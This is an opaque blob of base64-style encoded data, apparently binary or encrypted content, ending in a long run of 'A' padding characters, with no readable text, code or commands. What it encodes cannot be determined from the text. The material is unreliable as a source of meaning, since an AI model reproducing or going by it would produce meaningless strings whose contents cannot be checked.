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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA